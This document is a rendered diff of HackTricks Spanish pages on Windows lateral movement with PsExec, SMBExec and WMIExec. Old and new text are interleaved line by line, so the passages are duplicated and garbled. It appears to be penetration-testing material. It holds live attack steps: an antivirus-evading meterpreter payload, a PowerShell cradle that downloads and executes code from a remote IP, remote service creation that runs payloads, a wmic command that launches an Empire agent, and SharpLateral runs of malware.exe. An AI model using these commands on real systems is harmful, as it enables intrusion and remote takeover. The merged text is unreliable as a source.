* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
## Cómo funcionan ## ¿Cómo funcionan?
1. Copiar un binario de servicio en el recurso compartido ADMIN$ a través de SMB El proceso se describe en los siguientes pasos, ilustrando cómo se manipulan los binarios de servicio para lograr la ejecución remota en una máquina objetivo a través de SMB:
2. Crear un servicio en la máquina remota que apunte al binario
3. Iniciar el servicio de forma remota
4. Al salir, detener el servicio y eliminar el binario
## **PsExec manual** 1. **Copia de un binario de servicio en la carpeta ADMIN$ a través de SMB**.
2. **Creación de un servicio en la máquina remota** apuntando al binario.
3. El servicio se **inicia de forma remota**.
4. Al salir, el servicio se **detiene y el binario se elimina**.
Primero supongamos que tenemos un ejecutable de carga útil que generamos con msfvenom y ofuscamos con Veil (para que el AV no lo detecte). En este caso, creé una carga útil de meterpreter reverse_http y la llamé 'met8888.exe' ### **Proceso de Ejecución Manual de PsExec**
**Copiar el binario**. Desde nuestra línea de comandos "jarrieta", simplemente copiamos el binario al ADMIN$. Realmente, podría copiarse y ocultarse en cualquier lugar del sistema de archivos. Suponiendo que hay un payload ejecutable (creado con msfvenom y obfuscado con Veil para evadir la detección de antivirus), llamado 'met8888.exe', que representa un payload meterpreter reverse_http, se siguen los siguientes pasos:
![](../../.gitbook/assets/copy\_binary\_admin.png) - **Copia del binario**: El ejecutable se copia a la carpeta ADMIN$ desde un símbolo del sistema, aunque también se puede colocar en cualquier lugar del sistema de archivos para permanecer oculto.
**Crear un servicio**. El comando `sc` de Windows se utiliza para consultar, crear, eliminar, etc. servicios de Windows y se puede usar de forma remota. Lee más sobre esto [aquí](https://technet.microsoft.com/en-us/library/bb490995.aspx). Desde nuestra línea de comandos, crearemos de forma remota un servicio llamado "meterpreter" que apunte a nuestro binario subido: - **Creación de un servicio**: Utilizando el comando `sc` de Windows, que permite consultar, crear y eliminar servicios de Windows de forma remota, se crea un servicio llamado "meterpreter" que apunta al binario cargado.
![](../../.gitbook/assets/sc\_create.png) - **Inicio del servicio**: El paso final implica iniciar el servicio, lo que probablemente resultará en un error de "tiempo de espera" debido a que el binario no es un binario de servicio genuino y no devuelve el código de respuesta esperado. Este error es inconsecuente ya que el objetivo principal es la ejecución del binario.
**Iniciar el servicio**. El último paso es iniciar el servicio y ejecutar el binario. _Nota:_ cuando el servicio se inicie, "se agotará el tiempo" y generará un error. Eso es porque nuestro binario de meterpreter no es un binario de servicio real y no devolverá el código de respuesta esperado. Eso está bien porque solo necesitamos que se ejecute una vez para activarse: La observación del listener de Metasploit revelará que la sesión se ha iniciado con éxito.
![](../../.gitbook/assets/sc\_start\_error.png) [Aprende más sobre el comando `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
Si miramos nuestro oyente de Metasploit, veremos que la sesión se ha abierto. Encuentra pasos más detallados en: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Limpiar el servicio.** **También puedes usar el binario de Windows Sysinternals PsExec.exe:**
![](../../.gitbook/assets/sc\_delete.png)
Extraído de aquí: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**También podrías usar el binario PsExec.exe de Windows Sysinternals:**
![](<../../.gitbook/assets/image (165).png>) ![](<../../.gitbook/assets/image (165).png>)
También podrías usar [**SharpLateral**](https://github.com/mertdas/SharpLateral): También puedes usar [**SharpLateral**](https://github.com/mertdas/SharpLateral):
{% code overflow="wrap" %} {% code overflow="wrap" %}
``` ```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
``` ```
{% endcode %}
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>

View file

@ -2,66 +2,55 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
## Cómo funciona ## Cómo Funciona
**Smbexec funciona como Psexec.** En este ejemplo, **en lugar** de apuntar el "_binpath_" a un ejecutable malicioso dentro de la víctima, vamos a **dirigirlo** a **cmd.exe o powershell.exe** y uno de ellos descargará y ejecutará el backdoor. **Smbexec** opera de manera similar a **Psexec**, apuntando a **cmd.exe** o **powershell.exe** en el sistema de la víctima para la ejecución de una puerta trasera, evitando el uso de ejecutables maliciosos.
## **SMBExec** ## **SMBExec**
```bash
Veamos qué sucede cuando se ejecuta smbexec observándolo desde el lado del atacante y del objetivo: smbexec.py WORKGROUP/username:password@10.10.10.10
![](../../.gitbook/assets/smbexec\_prompt.png)
Entonces sabemos que crea un servicio "BTOBTO". Pero ese servicio no está presente en la máquina objetivo cuando hacemos un `sc query`. Los registros del sistema revelan una pista de lo que sucedió:
![](../../.gitbook/assets/smbexec\_service.png)
El Nombre del Archivo de Servicio contiene una cadena de comandos para ejecutar (%COMSPEC% apunta a la ruta absoluta de cmd.exe). Hace un eco del comando a ejecutar a un archivo bat, redirige el stdout y stderr a un archivo Temp, luego ejecuta el archivo bat y lo elimina. De vuelta en Kali, el script de Python luego extrae el archivo de salida a través de SMB y muestra el contenido en nuestro "pseudo-shell". Por cada comando que escribimos en nuestro "shell", se crea un nuevo servicio y el proceso se repite. Por eso no necesita soltar un binario, simplemente ejecuta cada comando deseado como un nuevo servicio. Definitivamente más sigiloso, pero como vimos, se crea un registro de eventos para cada comando ejecutado. ¡Aún así, una forma muy ingeniosa de obtener un "shell" no interactivo!
## SMBExec Manual
**O ejecutando comandos a través de servicios**
Como demostró smbexec, es posible ejecutar comandos directamente desde binPaths de servicios en lugar de necesitar un binario. Esto puede ser un truco útil para tener a mano si necesitas ejecutar solo un comando arbitrario en una máquina Windows objetivo. Como ejemplo rápido, obtengamos un shell de Meterpreter usando un servicio remoto _sin_ un binario.
Usaremos el módulo `web_delivery` de Metasploit y elegiremos un objetivo de PowerShell con un payload de Meterpreter inverso. El listener está configurado y nos dice el comando a ejecutar en la máquina objetivo:
``` ```
powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n'); La funcionalidad de Smbexec implica crear un servicio temporal (por ejemplo, "BTOBTO") en la máquina objetivo para ejecutar comandos sin dejar un binario. Este servicio, diseñado para ejecutar un comando a través de la ruta de cmd.exe (%COMSPEC%), redirige la salida a un archivo temporal y se elimina a sí mismo después de la ejecución. El método es sigiloso pero genera registros de eventos para cada comando, ofreciendo un "shell" no interactivo repitiendo este proceso para cada comando emitido desde el lado del atacante.
## Ejecución de Comandos Sin Binarios
Este enfoque permite la ejecución directa de comandos a través de binPaths de servicios, eliminando la necesidad de binarios. Es particularmente útil para la ejecución de comandos puntuales en un objetivo Windows. Por ejemplo, utilizando el módulo `web_delivery` de Metasploit con una carga útil de Meterpreter inverso dirigida por PowerShell se puede establecer un escucha que proporcione el comando de ejecución necesario. Crear y iniciar un servicio remoto en la máquina Windows del atacante con el binPath configurado para ejecutar este comando a través de cmd.exe permite la ejecución de la carga útil, a pesar de posibles errores de respuesta del servicio, logrando la devolución de llamada y la ejecución de la carga útil en el lado del escucha de Metasploit.
### Ejemplo de Comandos
La creación e inicio del servicio se puede lograr con los siguientes comandos:
```cmd
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
sc start [ServiceName]
``` ```
Desde nuestra caja de ataque Windows, creamos un servicio remoto ("metpsh") y configuramos el binPath para ejecutar cmd.exe con nuestro payload: Para más detalles, consulta [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
![](../../.gitbook/assets/sc\_psh\_create.png)
Y luego lo iniciamos: # Referencias
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
![](../../.gitbook/assets/sc\_psh\_start.png)
Da error porque nuestro servicio no responde, pero si miramos nuestro listener de Metasploit vemos que se hizo la llamada de retorno y se ejecutó el payload.
Toda la información fue extraída de aquí: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -6,98 +6,90 @@
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
## Cómo funciona ## Cómo Funciona Explicado
Wmi permite abrir procesos en hosts donde conoces el nombre de usuario/(contraseña/Hash). Luego, Wmiexec utiliza wmi para ejecutar cada comando que se le pide ejecutar (por eso Wmicexec te proporciona una shell semi-interactiva). Los procesos pueden abrirse en hosts donde se conoce el nombre de usuario y ya sea la contraseña o el hash a través del uso de WMI. Los comandos se ejecutan utilizando WMI mediante Wmiexec, proporcionando una experiencia de shell semi-interactiva.
**dcomexec.py:** Este script proporciona una shell semi-interactiva similar a wmiexec.py, pero utilizando diferentes puntos finales de DCOM (objeto DCOM ShellBrowserWindow). Actualmente, es compatible con los objetos MMC20. Application, Shell Windows y Shell Browser Window. (de [aquí](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) **dcomexec.py:** Utilizando diferentes puntos finales de DCOM, este script ofrece un shell semi-interactivo similar a wmiexec.py, aprovechando específicamente el objeto DCOM ShellBrowserWindow. Actualmente admite MMC20. Aplicación, Ventanas de Shell y objetos de Ventana del Navegador de Shell. (fuente: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
## Conceptos básicos de WMI ## Fundamentos de WMI
### Namespace ### Espacio de nombres
WMI está dividido en una jerarquía al estilo de un directorio, el contenedor \root, con otros directorios bajo \root. Estas "rutas de directorio" se llaman namespaces.\ Estructurado en una jerarquía de estilo de directorio, el contenedor de nivel superior de WMI es \root, bajo el cual se organizan directorios adicionales, denominados espacios de nombres.
Lista de namespaces: Comandos para listar espacios de nombres:
```bash ```bash
#Get Root namespaces # Retrieval of Root namespaces
gwmi -namespace "root" -Class "__Namespace" | Select Name gwmi -namespace "root" -Class "__Namespace" | Select Name
#List all namespaces (you may need administrator to list all of them) # Enumeration of all namespaces (administrator privileges may be required)
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
#List namespaces inside "root\cimv2" # Listing of namespaces within "root\cimv2"
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
``` ```
Listar clases de un espacio de nombres con: Las clases dentro de un espacio de nombres se pueden listar usando:
```bash ```bash
gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2" gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified
gwmi -Namespace "root/microsoft" -List -Recurse gwmi -Namespace "root/microsoft" -List -Recurse
``` ```
### **Clases** ### **Clases**
El nombre de la clase WMI, por ejemplo: win32\_process, es un punto de partida para cualquier acción WMI. Siempre necesitamos saber un Nombre de Clase y el Espacio de Nombres donde está ubicado.\ Conocer el nombre de una clase WMI, como win32\_process, y el espacio de nombres en el que reside es crucial para cualquier operación WMI.
Lista de clases que comienzan con `win32`: Comandos para listar clases que comienzan con `win32`:
```bash ```bash
Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2" Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*" gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
``` ```
Llamar a una clase: Invocación de una clase:
```bash ```bash
#When you don't specify a namespaces by default is "root/cimv2" # Defaults to "root/cimv2" when namespace isn't specified
Get-WmiObject -Class win32_share Get-WmiObject -Class win32_share
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
``` ```
### Métodos ### Métodos
Las clases WMI tienen una o más funciones que pueden ser ejecutadas. Estas funciones se llaman métodos. Los métodos, que son una o más funciones ejecutables de las clases de WMI, pueden ser ejecutados.
```bash ```bash
#Load a class using [wmiclass], leist methods and call one # Class loading, method listing, and execution
$c = [wmiclass]"win32_share" $c = [wmiclass]"win32_share"
$c.methods $c.methods
#Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share # To create a share: $c.Create("c:\share\path","name",0,$null,"My Description")
$c.Create("c:\share\path","name",0,$null,"My Description")
#If returned value is "0", then it was successfully executed
``` ```
```bash ```bash
#List methods # Method listing and invocation
Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods
#Call create method from win32_share class
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0) Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
``` ```
## Enumeración WMI ## Enumeración de WMI
### Verificar servicio WMI ### Estado del Servicio WMI
Así es como puedes verificar si el servicio WMI está en funcionamiento: Comandos para verificar si el servicio WMI está operativo:
```bash ```bash
#Check if WMI service is running # WMI service status check
Get-Service Winmgmt Get-Service Winmgmt
Status Name DisplayName
------ ---- -----------
Running Winmgmt Windows Management Instrumentation
#From CMD # Via CMD
net start | findstr "Instrumentation" net start | findstr "Instrumentation"
``` ```
### Información del Sistema ### Información del Sistema y Procesos
Recopilación de información del sistema y procesos a través de WMI:
```bash ```bash
Get-WmiObject -ClassName win32_operatingsystem | select * | more Get-WmiObject -ClassName win32_operatingsystem | select * | more
```
### Información del Proceso
```bash
Get-WmiObject win32_process | Select Name, Processid Get-WmiObject win32_process | Select Name, Processid
``` ```
Desde la perspectiva de un atacante, WMI puede ser muy valioso para enumerar información sensible sobre un sistema o el dominio. Para los atacantes, WMI es una herramienta potente para enumerar datos sensibles sobre sistemas o dominios.
``` ```bash
wmic computerystem list full /format:list wmic computerystem list full /format:list
wmic process list /format:list wmic process list /format:list
wmic ntdomain list /format:list wmic ntdomain list /format:list
@ -105,35 +97,19 @@ wmic useraccount list /format:list
wmic group list /format:list wmic group list /format:list
wmic sysaccount list /format:list wmic sysaccount list /format:list
``` ```
### **Consulta remota manual de WMI**
```bash La identificación sigilosa de administradores locales en una máquina remota y usuarios conectados se puede lograr a través de consultas específicas de WMI. `wmic` también admite la lectura desde un archivo de texto para ejecutar comandos en múltiples nodos simultáneamente.
Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred
```
## **Consulta Remota Manual de WMI**
Por ejemplo, aquí hay una forma muy sigilosa de descubrir administradores locales en una máquina remota (nota que dominio es el nombre de la computadora): Para ejecutar un proceso de forma remota a través de WMI, como desplegar un agente de Empire, se emplea la siguiente estructura de comando, con una ejecución exitosa indicada por un valor de retorno de "0":
```bash
wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
```
Este proceso ilustra la capacidad de WMI para la ejecución remota y enumeración del sistema, destacando su utilidad tanto para la administración del sistema como para pruebas de penetración.
{% code overflow="wrap" %}
```bash
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
```
```markdown
Otro oneliner útil es para ver quién está conectado a una máquina (cuando estás buscando administradores):
```
```bash
wmic /node:ordws01 path win32_loggedonuser get antecedent
```
`wmic` puede incluso leer nodos de un archivo de texto y ejecutar el comando en todos ellos. Si tienes un archivo de texto de estaciones de trabajo:
```
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
```
**Crearemos de forma remota un proceso a través de WMI para ejecutar un agente de Empire:**
```bash
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
```
Observamos que se ejecutó con éxito (ReturnValue = 0). Y un segundo después, nuestro oyente de Empire lo detecta. Nota que el ID del proceso es el mismo que WMI devolvió.
Toda esta información fue extraída de aquí: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) # Referencias
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## Herramientas Automáticas ## Herramientas Automáticas
@ -143,16 +119,18 @@ Toda esta información fue extraída de aquí: [https://blog.ropnop.com/using-cr
```bash ```bash
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
``` ```
{% endcode %}
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>